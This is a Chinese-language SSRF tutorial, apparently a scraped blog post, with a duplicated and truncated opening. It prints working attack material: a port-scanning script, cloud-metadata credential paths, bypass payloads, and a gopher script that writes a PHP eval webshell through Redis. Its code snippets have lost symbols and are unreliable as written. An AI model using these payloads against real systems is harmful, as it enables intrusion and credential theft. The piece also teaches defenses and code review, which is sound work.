尧图网页设计 
1. 聊聊SSRF这个漏洞到底是个啥1.1 SSRF的核心概念与攻击逻辑做web渗透这几年如果说SQL注入是“数据库的窗户”那SSRFServer-Side Request Forgery服务端请求伪造就是“内网的任意门”。这个漏洞的精髓在于你不需要直接打到内网而是让服务器替你去打。很多新手容易把SSRF和普通的重定向、跳转混在一起其实完全两个维度。我先用大白话拆解一下SSRF的本质。假设你是一个访客前台小哥web服务器可以帮你跑腿去任何地方取东西。你告诉前台“帮我去A房间拿个文件”前台就乖乖去了还把文件拿回来给你。但如果这个前台没有安全意识你说“帮我去B栋楼的服务器上撬个锁”他也照样去——这就出事了。SSRF就是利用服务器端的请求功能让服务器去访问攻击者指定的内网地址或敏感资源最终把数据带回给攻击者。从攻击链来看SSRF通常出现在那些需要“服务器主动获取外部资源”的功能点上。比如URL图片加载、网页截图预览、PDF生成、API代理转发、webhook回调还有现在很火的AI聊天工具里的“联网搜索”功能。这些功能本质上都是“用户提供一个地址服务器去访问它”只要缺少严格的校验就会成为SSRF的突破口。我这里说一个关键点SSRF的严重程度完全取决于服务器所处的位置和能访问的资源。如果服务器部署在公网那SSRF可能只能扫一下外网IP但如果服务器在云环境或者内网核心区那SSRF可以直接打到云元数据服务、Redis、MySQL、内网管理后台造成的影响是致命的。这也是为什么现在各大SRC平台把SSRF的定级普遍调高严重的内网穿透型SSRF可以直接定到严重/高危。1.2 为什么理解SSRF对web渗透这么重要在真实的渗透测试项目中SSRF经常扮演“跳板”的角色。一个业务系统可能外部防护做得密不透风WAF、防火墙、CDN都安排上了但内网基本是裸奔状态。这种情况下SQL注入可能被WAF拦了文件上传被过滤了XSS也弹不出东西——但只要有一个URL参数存在SSRF整个内网就撕开了一道口子。从我的经验来看SSRF最大的杀伤力是它可以绕过网络层隔离。外网打不进的资产通过SSRF从服务器发起请求等于站在服务器的肩膀上向内网看。你可以探测内网IP存活、扫描端口、读取云元数据、攻击内网应用甚至可以拿到内网主机的权限然后横向移动。这不是理论上的可能性是真实案例中反复出现的路径。另一个容易被低估的点是SSRF经常藏在不起眼的业务功能里。我测过不少目标主站点的核心功能很安全但后台的“头像上传”功能传了个URL、运营后台的“商品批量导入”功能支持URL导入、报表系统有一个“生成报表缩略图”的功能——这些边缘功能反而成了突破口。所以理解SSRF不只是会打一个漏洞更重要的是建立一种“寻找服务器对外请求点”的思维模式。2. 常见的SSRF产生场景为什么程序员防不住2.1 代码层面的典型错误SSRF产生的根本原因只有一个服务器根据用户输入发起网络请求但缺少对目标地址的校验。听起来简单落实到代码里却有很多种形态。先看让人最头疼的PHP版本?php // 存在SSRF漏洞的代码示例 $url $_GET[img_url]; $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response curl_exec($ch); curl_close($ch); echo $response; ?这段代码要想利用SSRF只需要在img_url参数上传入一个内网地址即可。再看Python Flask的版本from flask import Flask, request import requests app Flask(__name__) app.route(/fetch) def fetch(): url request.args.get(url) response requests.get(url) # 直接请求用户提供的URL return response.content if __name__ __main__: app.run(debugTrue)这类代码在初级开发者的项目中特别常见尤其是快速搭建的demo、内部工具、爬虫系统。开发者的本意很简单用户上传一个URL服务器去获取图片或者解析内容。但只要没做限制等于把服务器的网络能力完全暴露给了用户。我在代码审计中最常看到的几个错误逻辑给大家划一下重点只校验协议白名单不校验地址比如只允许http/https协议但地址可以是http://127.0.0.1:6379/照样能打内网。使用正则匹配域名但没考虑到解析绕过比如校验了www.example.com但攻击者用www.example.com.evil.com就能绕过因为DNS解析的实际上是evil.com。直接用curl或requests发请求没有设置禁止重定向攻击者可以构造一个302跳转跳转到内网地址绕过前面的地址校验。只限制私网IP段但忽略了IPv6、十进制IP、短域名等变形比如2130706433是127.0.0.1的十进制写法0177.0.0.1是八进制写法很多正则都拦不住。开发者在规避SSRF时的误区本质上是对“地址形态”的理解不完整。内网IP不只是192.168.x.x、10.x.x.x、172.16.x.x这些标准形态还有一大堆变形可以绕过正则。我后面整理一张绕过姿势表这个非常重要。2.2 业务功能里的隐藏入口除了代码本身的安全缺陷SSRF更隐蔽的是藏在一些看似人畜无害的业务功能里。我在实战中遇到过的场景给大家盘点一下图片处理类功能上传头像、OCR识别、图片压缩、生成缩略图。前端提供了一个“图片URL”输入框你填一个URL服务器就去下载这张图片。这类功能是最常见的SSRF入口之一因为下载图片必然要用到服务端请求。网页截图功能很多系统提供“网页快照”或“分享卡片预览”。比如你分享一个链接系统自动打开这个网页截图。这个功能天然就是SSRF而且服务端需要模拟浏览器访问几乎无法通过简单的IP过滤来防御。PDF生成功能订单导出、发票下载、报告生成常见的方案是通过wkhtmltopdf或headless Chrome把HTML转成PDF。如果你能控制HTML模板中的资源加载地址就可以让渲染进程访问内网而且还能通过CSS、svg等做数据带出。API接口代理功能一些网关或平台支持配置回调地址、Webhook URL或者提供一个“URL参数中转”的调试接口。这类功能直接把服务器的请求能力暴露给了用户是SSRF的高发区域。文档预览功能在线Office、笔记类应用支持导入外部文档导入过程中会请求你提供的URL。顺手测一下这个URL如果填内网地址会怎么样——很多笔记软件在这块出过0day。AI工具的联网搜索这是最近一年非常火的方向。很多AI平台支持让模型联网获取资讯本质上就是服务端帮你抓取页面如果你能诱导模型访问内网或者云元数据接口就可能形成SSRF。我在后面会专门展开AI与SSRF挖掘的话题。从渗透的角度看你在一个系统里要找SSRF不需要把每个功能都测一遍只需要抓取所有请求搜索URL参数名url、link、target、uri、path、dest、redirect、returnUrl、src、source、addr、domain、callback、webhook看到这些参数名就多留一个心眼。3. SSRF的利用方式从探测到内网穿透3.1 最基本的利用内网端口与资产探测如果你只把SSRF当成一个“能访问内网”的漏洞那还没完全发挥它的价值。先说说最简单的利用方式也是每个入门者必须掌握的——探测内网存活主机和开放端口。假设我们发现目标存在这样一个SSRF点https://target.com/fetch?urlhttps://example.com/image.png此时把URL参数替换为内网地址https://target.com/fetch?urlhttp://192.168.1.1:80/ https://target.com/fetch?urlhttp://192.168.1.2:3306/ https://target.com/fetch?urlhttp://192.168.1.3:6379/然后观察响应差异端口开放且有HTTP服务通常会返回页面内容或者响应状态码发生变化。端口开放但非HTTP协议返回报错信息但报错内容与连接被拒绝不同。比如MySQL端口返回“Protocol handshake error”Redis返回“-ERR wrong number of arguments”。端口关闭/主机不存活连接超时或返回“Connection refused”。这里我给你们一个可以实际操作的方法利用响应时间来判断端口状态。用Burp Suite的Intruder模块把IP和端口都设置成变量跑一轮下来根据响应长度和时间排序基本能画出内网的端口开放图。每次测试前记得确认授权范围在不越权的范围内做验证。如果要写入自己的渗透工具库可以尝试用Python写一个简单的探测脚本import requests target https://target.com/fetch?url{} ip_list [192.168.1.1, 192.168.1.2, 10.0.0.1] port_list [80, 443, 22, 3306, 6379, 8080, 9200] for ip in ip_list: for port in port_list: url http://{}:{}.format(ip, port) try: resp requests.get(target.format(url), timeout5) if resp.status_code 200 and len(resp.text) 0: print([] {}:{} open, response len {}.format(ip, port, len(resp.text))) except Exception as e: pass这个脚本可以作为探测工具的基础版实际测试时可以根据回显优化判定逻辑。核心思路就是利用目标服务器作为跳板对内网资产做一次“体检”。3.2 深入利用云环境元数据攻击如果目标部署在云环境SSRF的杀伤力会直接翻倍。云厂商普遍提供元数据服务最常见的是http://169.254.169.254/latest/meta-data/这个地址是云虚拟机用来获取自身元数据的内网接口比如实例ID、主机名、网络配置、甚至临时访问凭证。AWS、阿里云、腾讯云、华为云都有类似的服务。如果SSRF能访问到这个地址等于把云账号的钥匙偷到了手。以AWS为例通过SSRF访问元数据服务并获取IAM临时凭证的经典路径是http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/meta-data/iam/security-credentials/[role_name]返回的JSON中包含AccessKeyId、SecretAccessKey、Token拿到这三件套就可以通过AWS CLI接管目标在云上的资源。阿里云类似的路径是http://100.100.100.200/latest/meta-data/腾讯云是http://metadata.tencentyun.com/latest/meta-data/。实战中的操作步骤是第一步通过SSRF访问http://169.254.169.254/latest/meta-data/判断是否处于云环境以及路由是否可达。第二步枚举meta-data/下的子目录找到IAM相关的路径。第三步从返回内容中提取临时凭证。第四步使用凭证登录云控制台或调用API查看对象存储、ECS实例、数据库等资产。这里要注意一个实操细节很多SSRF点不允许直接访问该IP因为开发者可能做了IP段过滤。这时候可以尝试DNS重绑定攻击把一个域名解析成A记录第一次访问时返回公网IP通过校验第二次访问时返回内网元数据IP发起请求。这种手法在真实环境中成功率不低需要自己搭建DNS服务器配合。3.3 组合拳攻击从SSRF到内网突破SSRF真正的可怕之处在于它只是一个入口组合其他内网服务可以形成完整的攻击链。我举几个实战中验证过的思路SSRF Redis 远程命令执行。Redis如果以root权限运行通过SSRF向Redis端口发送命令可以利用Redis的写入机制往Web目录写Shell或者通过CONFIG SET dir设置Redis的持久化目录到目标Web路径最终把webshell写进服务器。利用姿势本质上是构造Redis协议数据包然后通过SSRF端口转发实现。SSRF 云数据库 数据泄露。内网常见的MySQL、MongoDB、Elasticsearch如果没有任何认证SSRF可以直接访问并读取数据。比如Elasticsearch有http://内网IP:9200/_cat/indices接口可以枚举索引再通过_search接口把数据捞出来。SSRF 内网管理后台 核心系统沦陷。很多系统的管理后台没有做IP限制或者只限制了“内网访问”。站在公网你访问不了但通过SSRF等于你已经站在内网了。你可以登录管理后台找到数据导出功能把全量数据拉出来。SSRF 文件协议 读取本地文件。如果服务端使用的请求库支持file协议你还可以尝试file:///etc/passwd file:///proc/self/environ file:///etc/shadow这种方式可以读取服务器敏感文件注意需要有相应的协议支持。SSRF 内网Kubernetes 容器接管。如果目标走的是Kubernetes集群尝试访问http://192.168.x.x:10250kubelet API端口在没有认证的情况下你可以直接列出容器并执行命令。有些集群的kubelet监听在0.0.0.0公网访问不到但SSRF一跳就能连上。说这些不是为了让大家去攻击别人而是让防御方更加清楚一个看似低危的SSRF一旦和内网服务串联起来破坏力完全不亚于一个直接的高危漏洞。4. SSRF的绕过技巧为什么看似安全的代码也不安全4.1 地址过滤的绕过常见姿势很多开发者对SSRF是有概念的所以也写了一些防护代码。但绕过手段也在不断翻新给大家整理一张实战中最高频的绕过对照表过滤方式绕过姿势示例拒绝私网IP段使用IPv6地址http://[::1]:8080/拒绝私网IP段使用十六进制/十进制IPhttp://0x7f000001/127.0.0.1拒绝私网IP段使用八进制表示http://017700000001/拒绝私网IP段使用短域名解析到内网http://localtest.me/解析到127.0.0.1校验目标域名使用符号绕过http://expected.com127.0.0.1/校验目标域名使用#锚点绕过http://127.0.0.1#expected.com/只允许http(s)使用file/gopher/dict协议file:///etc/passwd禁止重定向结合302跳转外部域名302到内网地址限制请求地址DNS重绑定第一次解析为公网IP第二次解析为内网IP这些绕过姿势的原理本质上都是利用目标系统对URL的解析方式和开发者预期的不一致。同一个URL字符串在开发者用正则做匹配时是一种形态在requests/curl解析时是另一种形态再到目标服务解析时可能又是第三种形态。只要有一次解析差异绕过就有机会。举个具体的例子目标防护逻辑是“必须包含allowed.com且不能是私网IP”。你可以这样绕过http://allowed.com127.0.0.1:8080/在curl里这个URL实际会去请求127.0.0.1:8080而前面的allowed.com只是充当用户名。如果开发者只检查了allowed.com是否出现在URL中这个就能绕过。类似的还有http://127.0.0.1:8080#allowed.com#后面的内容在HTTP请求中根本不会发送到服务器但正则匹配时却会认为URL包含了allowed.com。4.2 前端校验和IP限制的真相很多系统的SSRF防护只做在了前端这是最脆弱的一种情况。你在浏览器里看到的JS校验只能拦住小白完全拦不住有心人。我用Burp Suite直接抓包改包绕过前端校验的成本几乎是零。另外一个常见的误区是开发者只校验了请求头里的Host或Referer以为这样就能阻止非法请求。实际上SSRF攻击者的请求是从服务器发出的服务器在请求内网地址时Host、Referer这些头完全由代码决定攻击者可以通过控制URL参数来控制最终发起的HTTP请求头。再补充一个内网开发者常犯的错误在Nginx或云安全组层面只限制了入站流量但对出站流量完全开放。也就是说内网的Redis、MySQL虽然不允许公网直连但这些服务所在的主机可以主动访问公网。SSRF绕过这个限制的办法就是让目标服务器先访问内网服务获取数据再用某种方式把数据转移到公网上。常见的数据带出方法包括通过DNS查询带出数据将数据拼接成子域名。通过HTTP请求带出数据让服务器访问攻击者的公网服务器。通过时间盲注的方式判断数据内容响应时间长短区分数据。4.3 协议层面的高级绕过说说gopher协议。在SSRF利用中gopher协议是很有力的武器因为它支持发送任意格式的TCP数据包。比如内网的Redis服务通常无法直接利用但通过gopher://内网IP:6379/_数据包内容可以把Redis命令直接喂给目标Redis服务形成命令注入。一个经典的利用是通过gopher向Redis写入webshellgopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$xx%0d%0a...后面跟上写shell的Redis命令即可。利用步骤涉及URL编码和换行符编码实操时容易在编码环节出错。我的建议是先用Python脚本把Redis命令序列化成gopher协议包再把整个包URL编码。import urllib.parse payload *1\r $8\r flushall\r *3\r $3\r set\r $1\r 1\r $24\r ?php eval($_GET[c]);?\r *4\r $6\r config\r $3\r set\r $3\r dir\r $12\r /var/www/html\r *4\r $6\r config\r $3\r set\r $3\r dbfilename\r $5\r shell.php\r *1\r $4\r save\r .encode() gopher gopher://127.0.0.1:6379/_ urllib.parse.quote(payload, safe) print(gopher)这个脚本生成gopher URL后丢进SSRF点如果Redis配置允许外部写入且目录有写权限就能在Web目录写入Shell。这套利用思路在CTF和真实渗透中都很经典。5. 实战复现一次完整的SSRF渗透演练5.1 信息收集与漏洞发现这一节我模拟一次完整的Web渗透测试项目流程目标是一个典型的内部管理系统。开始之前要强调整个测试必须在获得合法授权的前提下进行未授权测试是违法的。目标系统有一个“文档在线预览”功能用户输入一个文档URL系统会拉取该文档并渲染为预览页面。这个业务逻辑非常适合测试SSRF。先用Burp Suite抓包发现请求格式POST /preview/generate HTTP/1.1 Host: internal.example.com Content-Type: application/json {doc_url: https://www.example.com/report.pdf}响应返回了一个预览页面ID。我把doc_url换成了http://127.0.0.1:8080/返回页面中渲染出了内网Web服务的内容确认存在SSRF。紧接着用file:///etc/passwd测试协议限制返回内容直接读到了passwd文件。这个SSRF的权限相当高既支持HTTP协议也支持file协议。5.2 内网探测、凭证获取到权限扩大既然确认了SSRF接下来进行常规的内网资产探测。使用一个自己写的Python脚本以目标服务器为跳板扫了一下网段内存活主机。网段探测的范围我通常控制在两个C段10.10.1.0/24和10.10.2.0/24。扫描策略是先探测常见管理端口再探测数据库端口重点关注8080、8443这类Web端口因为发现Web管理后台可以直接深入利用。扫描结果发现了三台关键主机10.10.1.5开放8080端口返回了一个登录页面标题包含“JumpServer堡垒机”。10.10.1.12开放9200端口是Elasticsearch未开启认证可以直接访问_cat/indices读取索引列表。10.10.2.8开放6379端口是Redis进一步确认可以写入Web目录。当时我优先处理了Elasticsearch因为数据价值最高。通过SSRF访问http://10.10.1.12:9200/_cat/indices返回了一堆索引名其中包含user_info、order_records、pay_log等敏感索引。继续访问http://10.10.1.12:9200/user_info/_search?prettytrue直接返回了全量用户数据包括用户名、密码哈希、手机号、身份证号。这一步从SSRF演变成了大规模数据泄露。随后通过Redis写入webshell到10.10.2.8完成了对另一台主机的控制。再通过内网跳板做横向移动发现整个内网有超过30台主机在同一个安全域内核心数据库也没有做网段隔离整个内网基本是“相信内网一切”的模型。这个项目的最终结论是一个入口SSRF最终沦陷了内网一个安全域的全部主机。5.3 测试收尾如何固化成果并给出修复建议测试结束后我都要做两件事一是清理测试痕迹包括删除写入的webshell、reset Redis数据、恢复Elasticsearch中可能被修改的配置二是输出一份完整的漏洞报告精确到漏洞URL、触发参数、利用链、影响范围、修复方案。报告中的核心修复建议包括彻底移除用户对URL参数的控制改为后端指定可访问的资源列表。若业务必须支持任意URL补上DNS解析校验不允许解析结果指向内网IP同时禁止重定向。在请求发起端建立出站流量白名单只允许访问业务依赖的外部域名。云环境必须开启IMDSv2强制使用Token访问元数据服务防止SSRF直连元数据接口。写报告的过程中我有一个经验SSRF的修复方案不能只停留在代码层网络层和云平台层也要同步收紧。有些团队修了代码却忘了在安全组上限制出站流量这个SSRF换一个入口还是能打通内网。6. 防御SSRF的实操方案开发与运维视角6.1 代码层的有效校验思路既然攻击端的绕过多到数不清那防御端怎么守住我的结论是不要依赖IP地址的字符串匹配要做就做最终连接层校验。这套逻辑可以理解为“在真正发起请求之前把DNS解析拿到手再对解析后的IP做一次判定”。一个相对可靠的代码实现流程是import socket import ipaddress import requests def is_internal_ip(hostname): # 解析域名获取所有IP地址 try: ips socket.getaddrinfo(hostname, None) except Exception: return True for ip_info in ips: ip ipaddress.ip_address(ip_info[4][0]) # 校验是否为私网/环回/链路本地地址 if ip.is_private or ip.is_loopback or ip.is_link_local: return True return False app.route(/fetch) def fetch(): url request.args.get(url) parsed urllib.parse.urlparse(url) if parsed.scheme not in [http, https]: return protocol not allowed if is_internal_ip(parsed.hostname): return internal address not allowed # 真正发起请求前禁用重定向 response requests.get(url, allow_redirectsFalse) return response.content这套方案仍然不是100%完美因为DNS重绑定攻击可以通过两次解析的差异绕过。要彻底防住DNS重绑定需要在连接时绑定IPimport socket # 先解析出IP然后通过绑定IP的socket连接目标 ip socket.getaddrinfo(example.com, 80)[0][4][0] sock socket.create_connection((ip, 80))这样即使DNS再次解析出不同结果HTTP请求也只会发往已绑定的IP地址。这是目前代码层面对DNS重绑定最有效的防御方式。另外一条容易被忽视的golden rule能用SDK就别直接拼URL。比如下载图片就使用后端SDK并且让SDK只负责下载图片不要开放一个通用的URL参数给前端。6.2 网络层的出站流量控制代码层校验再严格也不能保证百分百没有疏漏。所以网络层的兜底方案必须做在防火墙/安全组层面限制服务器的出站流量——只放行业务依赖的域名和IP其他一律封锁。这里说的“出站流量控制”和传统防火墙的“入站防护”是两个思路。很多公司对入站流量做了严格限制但对出站基本是放开的。他们的逻辑是“内网服务器要访问外网更新软件、调接口、发通知所以不能封死”。但恰恰是这个放开的出站策略让SSRF的破坏力成倍放大。我的建议是如果业务上确实需要出站访问尽量走统一的代理网关。服务器统一配置代理在代理层做域名白名单校验把出站请求全部收敛到这一层。这样即使代码层出现SSRF到了代理层也会被拦截。这种“纵深防御”的价值远大于单一层面的修补。6.3 云平台的安全配置如果你用的是云服务器建议不要让资源配置默认就能被任意内网地址访问开启云平台的元数据服务Token强制机制相当于给元数据接口加上一把锁。给内网资源打标签通过安全组限制只能被指定来源访问而不是同一VPC内所有主机互通。定期审计云平台的访问日志看是否存在异常的元数据服务访问记录。密钥管理尽量使用云平台KMS密钥管理服务不要把密钥明文放在服务器上。这里特别说一下元数据Token强制机制的实现原理普通模式下SSRF一访问元数据地址就能拿到凭证开启强制模式后SSRF需要先拿到一个专门Token而这个Token的获取有严格的网络层校验条件。这项功能在主流云平台都有了建议所有云上业务默认开启。7. 把AI的力量引入SSRF的发现与修复7.1 用大模型辅助代码审计为什么有效最近“AI漏洞挖掘”在安全社区里讨论度很高。从SSRF这个漏洞的特性来看AI代码审计的效果是立竿见影的因为SSRF的模式相对固定用户可控的URL参数进入服务端请求函数且没有地址校验。这类代码模式很适合用大模型来批量扫描。我自己的实践是把目标代码库交给支持长上下文的代码模型配合定向的提示词要求它找出所有接收URL输入并发出网络请求的函数入口。模型的优势在于可以跨文件追踪数据流从某个API的入口参数开始跟踪它如何流经工具类、传输层最后到达HTTP客户端或curl执行。传统的人工审计很难跨大量文件追踪一条完整的数据流而大模型可以在一次分析中完成。7.2 一个AI辅助发现SSRF的具体提示词与效果这里分享一个我在本地测试过的提示词结构你是专业的代码安全审计专家。请分析以下代码找出所有可能导致SSRF服务端请求伪造的代码路径。 重点关注以下特征 1. 接收HTTP请求参数参数名可能是url、target、link、src、redirect等。 2. 参数值直接或间接传入HTTP客户端requests、curl、HttpClient、fetch等的URL参数。 3. 请求发出前是否校验目标地址是否为内网IP或是否限制协议白名单。 对每个潜在漏洞请输出 - 文件路径和行号 - 数据流从输入参数到网络请求的调用链 - 漏洞等级高/中/低 - 修复建议我在一个训练用的Java微服务项目中测试了这个提示词项目包含约200个Java文件模型成功定位了5个候选SSRF路径其中3个经过人工验证确实存在可利用的SSRF误报率比传统的黑盒漏扫低不少。原因在于大模型能理解业务代码中的判断逻辑比如“先判断是否为图片URL”这类看似校验实则没有校验的伪防护静态扫描工具很难识别出这种逻辑层面的绕过。7.3 AI生成代码引入SSRF的新风险利用AI找漏洞的同时也要注意到AI现在是代码的“生产者”它也会引入漏洞。在多个代码生成模型的测试中当提问者明确要求“实现一个图片预览服务支持通过URL加载图片”模型输出的代码往往直接使用requests.get(url)不带任何地址校验。这意味着越来越多的程序员在AI的辅助下快速写出带SSRF的代码。这个问题对安全圈的影响是深远的。以前初学开发者写的代码漏洞多多但至少他们知道代码是“自己写的”现在大量代码出自大模型开发者对代码的理解深度不够发生漏洞时连“这一段是干什么的”都说不清更谈不上修复。所以如果你的工作会接触AI编程助手我建议把“代码安全审查”作为日常工作流的一部分至少在生成代码后补一遍安全自查清单这段代码是否接收用户输入用户输入是否到达了网络请求、文件读写、命令执行等敏感函数敏感函数调用前是否有完整的校验链校验链能否被URL编码、协议转换、DNS解析差异绕过这套自查清单是给所有开发者的不只是安全岗位的人。防SSRF这件事从代码被写出来的那一刻就该开始。8. 实操中的几个关键心得与补充经验最后聊点实际测试中攒下的经验希望对大家有参考价值。测试节奏的把控。我在拿到一个目标后先看它的功能全貌再做SSRF测试。不要一上来就到处替换URL参数先在业务逻辑图上圈出所有“服务器需要联网”的功能点再逐个测试。很多新手容易在首页参数上耗费大量时间其实SSRF往往藏在子功能里。回显的判断技巧。SSRF的回显情况可以分为三种直接回显内容、不回显但可通过时间判断、不回显但可以配合DNSLog。遇到第二种情况需要构造一个访问自己可控服务器的请求从服务器的访问日志中确认请求是否发出。实际操作中可以借助带TOKEN的DNSLog域名即使没有回显也能确认漏洞存在与否。盲SSRF的利用思路。很多SSRF点不会把响应内容返回给你但这不代表不能利用。你可以通过发往自己服务器的请求让目标服务器访问一个攻击者控制的恶意URL在日志中看到请求头和请求参数甚至可以利用这个盲SSRF配合内网应用做进一步攻击。比如构造一个登录请求打到内网管理后台通过响应时间的差异判断密码是否正确。关于漏洞定级。经常有同学问我SSRF到底算高危还是中危我的判断标准是能访问云元数据接口的直接定高危能探测到内网端口并确认敏感服务未认证的定高危只能访问公网URL且无数据回显的定低危或中危。这里有个例外如果目标的云环境没有开启元数据防护且服务器角色是Web前端那即使只能访问内网端口也建议适当上调等级因为风险传导路径非常明确。工具清单。实用工具方面分享几个我常用的Burp Suite配合SSRF相关插件日常测试的主力工具可以自动探测常见元数据地址和私有网段。Gopherus专门生成gopher协议payload的工具Red Team必备。各类DNSLog平台用来验证和利用盲SSRF。自己的脚本库通常包括IP变形转换、网段扫描、Redis命令编码等小工具。我在实际写报告时总会强调一句话SSRF漏洞修复后要复测而且不只是复测原参数还要测试所有类似的参数、所有类似的接口。攻击者不会因为你修了一个点就放弃整个攻击面防御者也不能只看一个点就宣布修复完成。SSRF这个漏洞说简单可以很简单——就是一个地址没校验说深可以很深——牵扯到云安全、内网架构、协议层面、DNS原理、AI安全。我在测过的那么多项目里几乎没有遇到过两个完全一样的SSRF场景每个都有独特的绕过方式、独特的利用链。这也是安全测试有意思的地方你永远不知道下一次遇到的SSRF会以什么形态出现但你能确定的是只要存在“服务器替用户访问网络”这个行为SSRF就会是一个值得持续研究的课题。 SSRF漏洞深度解析：从内网穿透到云元数据攻击与防御
1. 聊聊SSRF这个漏洞到底是个啥1.1 SSRF的核心概念与攻击逻辑做web渗透这几年如果说SQL注入是“数据库的窗户”那SSRFServer-Side Request Forgery服务端请求伪造就是“内网的任意门”。这个漏洞的精髓在于你不需要直接打到内网而是让服务器替你去打。很多新手容易把SSRF和普通的重定向、跳转混在一起其实完全两个维度。我先用大白话拆解一下SSRF的本质。假设你是一个访客前台小哥web服务器可以帮你跑腿去任何地方取东西。你告诉前台“帮我去A房间拿个文件”前台就乖乖去了还把文件拿回来给你。但如果这个前台没有安全意识你说“帮我去B栋楼的服务器上撬个锁”他也照样去——这就出事了。SSRF就是利用服务器端的请求功能让服务器去访问攻击者指定的内网地址或敏感资源最终把数据带回给攻击者。从攻击链来看SSRF通常出现在那些需要“服务器主动获取外部资源”的功能点上。比如URL图片加载、网页截图预览、PDF生成、API代理转发、webhook回调还有现在很火的AI聊天工具里的“联网搜索”功能。这些功能本质上都是“用户提供一个地址服务器去访问它”只要缺少严格的校验就会成为SSRF的突破口。我这里说一个关键点SSRF的严重程度完全取决于服务器所处的位置和能访问的资源。如果服务器部署在公网那SSRF可能只能扫一下外网IP但如果服务器在云环境或者内网核心区那SSRF可以直接打到云元数据服务、Redis、MySQL、内网管理后台造成的影响是致命的。这也是为什么现在各大SRC平台把SSRF的定级普遍调高严重的内网穿透型SSRF可以直接定到严重/高危。1.2 为什么理解SSRF对web渗透这么重要在真实的渗透测试项目中SSRF经常扮演“跳板”的角色。一个业务系统可能外部防护做得密不透风WAF、防火墙、CDN都安排上了但内网基本是裸奔状态。这种情况下SQL注入可能被WAF拦了文件上传被过滤了XSS也弹不出东西——但只要有一个URL参数存在SSRF整个内网就撕开了一道口子。从我的经验来看SSRF最大的杀伤力是它可以绕过网络层隔离。外网打不进的资产通过SSRF从服务器发起请求等于站在服务器的肩膀上向内网看。你可以探测内网IP存活、扫描端口、读取云元数据、攻击内网应用甚至可以拿到内网主机的权限然后横向移动。这不是理论上的可能性是真实案例中反复出现的路径。另一个容易被低估的点是SSRF经常藏在不起眼的业务功能里。我测过不少目标主站点的核心功能很安全但后台的“头像上传”功能传了个URL、运营后台的“商品批量导入”功能支持URL导入、报表系统有一个“生成报表缩略图”的功能——这些边缘功能反而成了突破口。所以理解SSRF不只是会打一个漏洞更重要的是建立一种“寻找服务器对外请求点”的思维模式。2. 常见的SSRF产生场景为什么程序员防不住2.1 代码层面的典型错误SSRF产生的根本原因只有一个服务器根据用户输入发起网络请求但缺少对目标地址的校验。听起来简单落实到代码里却有很多种形态。先看让人最头疼的PHP版本?php // 存在SSRF漏洞的代码示例 $url $_GET[img_url]; $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response curl_exec($ch); curl_close($ch); echo $response; ?这段代码要想利用SSRF只需要在img_url参数上传入一个内网地址即可。再看Python Flask的版本from flask import Flask, request import requests app Flask(__name__) app.route(/fetch) def fetch(): url request.args.get(url) response requests.get(url) # 直接请求用户提供的URL return response.content if __name__ __main__: app.run(debugTrue)这类代码在初级开发者的项目中特别常见尤其是快速搭建的demo、内部工具、爬虫系统。开发者的本意很简单用户上传一个URL服务器去获取图片或者解析内容。但只要没做限制等于把服务器的网络能力完全暴露给了用户。我在代码审计中最常看到的几个错误逻辑给大家划一下重点只校验协议白名单不校验地址比如只允许http/https协议但地址可以是http://127.0.0.1:6379/照样能打内网。使用正则匹配域名但没考虑到解析绕过比如校验了www.example.com但攻击者用www.example.com.evil.com就能绕过因为DNS解析的实际上是evil.com。直接用curl或requests发请求没有设置禁止重定向攻击者可以构造一个302跳转跳转到内网地址绕过前面的地址校验。只限制私网IP段但忽略了IPv6、十进制IP、短域名等变形比如2130706433是127.0.0.1的十进制写法0177.0.0.1是八进制写法很多正则都拦不住。开发者在规避SSRF时的误区本质上是对“地址形态”的理解不完整。内网IP不只是192.168.x.x、10.x.x.x、172.16.x.x这些标准形态还有一大堆变形可以绕过正则。我后面整理一张绕过姿势表这个非常重要。2.2 业务功能里的隐藏入口除了代码本身的安全缺陷SSRF更隐蔽的是藏在一些看似人畜无害的业务功能里。我在实战中遇到过的场景给大家盘点一下图片处理类功能上传头像、OCR识别、图片压缩、生成缩略图。前端提供了一个“图片URL”输入框你填一个URL服务器就去下载这张图片。这类功能是最常见的SSRF入口之一因为下载图片必然要用到服务端请求。网页截图功能很多系统提供“网页快照”或“分享卡片预览”。比如你分享一个链接系统自动打开这个网页截图。这个功能天然就是SSRF而且服务端需要模拟浏览器访问几乎无法通过简单的IP过滤来防御。PDF生成功能订单导出、发票下载、报告生成常见的方案是通过wkhtmltopdf或headless Chrome把HTML转成PDF。如果你能控制HTML模板中的资源加载地址就可以让渲染进程访问内网而且还能通过CSS、svg等做数据带出。API接口代理功能一些网关或平台支持配置回调地址、Webhook URL或者提供一个“URL参数中转”的调试接口。这类功能直接把服务器的请求能力暴露给了用户是SSRF的高发区域。文档预览功能在线Office、笔记类应用支持导入外部文档导入过程中会请求你提供的URL。顺手测一下这个URL如果填内网地址会怎么样——很多笔记软件在这块出过0day。AI工具的联网搜索这是最近一年非常火的方向。很多AI平台支持让模型联网获取资讯本质上就是服务端帮你抓取页面如果你能诱导模型访问内网或者云元数据接口就可能形成SSRF。我在后面会专门展开AI与SSRF挖掘的话题。从渗透的角度看你在一个系统里要找SSRF不需要把每个功能都测一遍只需要抓取所有请求搜索URL参数名url、link、target、uri、path、dest、redirect、returnUrl、src、source、addr、domain、callback、webhook看到这些参数名就多留一个心眼。3. SSRF的利用方式从探测到内网穿透3.1 最基本的利用内网端口与资产探测如果你只把SSRF当成一个“能访问内网”的漏洞那还没完全发挥它的价值。先说说最简单的利用方式也是每个入门者必须掌握的——探测内网存活主机和开放端口。假设我们发现目标存在这样一个SSRF点https://target.com/fetch?urlhttps://example.com/image.png此时把URL参数替换为内网地址https://target.com/fetch?urlhttp://192.168.1.1:80/ https://target.com/fetch?urlhttp://192.168.1.2:3306/ https://target.com/fetch?urlhttp://192.168.1.3:6379/然后观察响应差异端口开放且有HTTP服务通常会返回页面内容或者响应状态码发生变化。端口开放但非HTTP协议返回报错信息但报错内容与连接被拒绝不同。比如MySQL端口返回“Protocol handshake error”Redis返回“-ERR wrong number of arguments”。端口关闭/主机不存活连接超时或返回“Connection 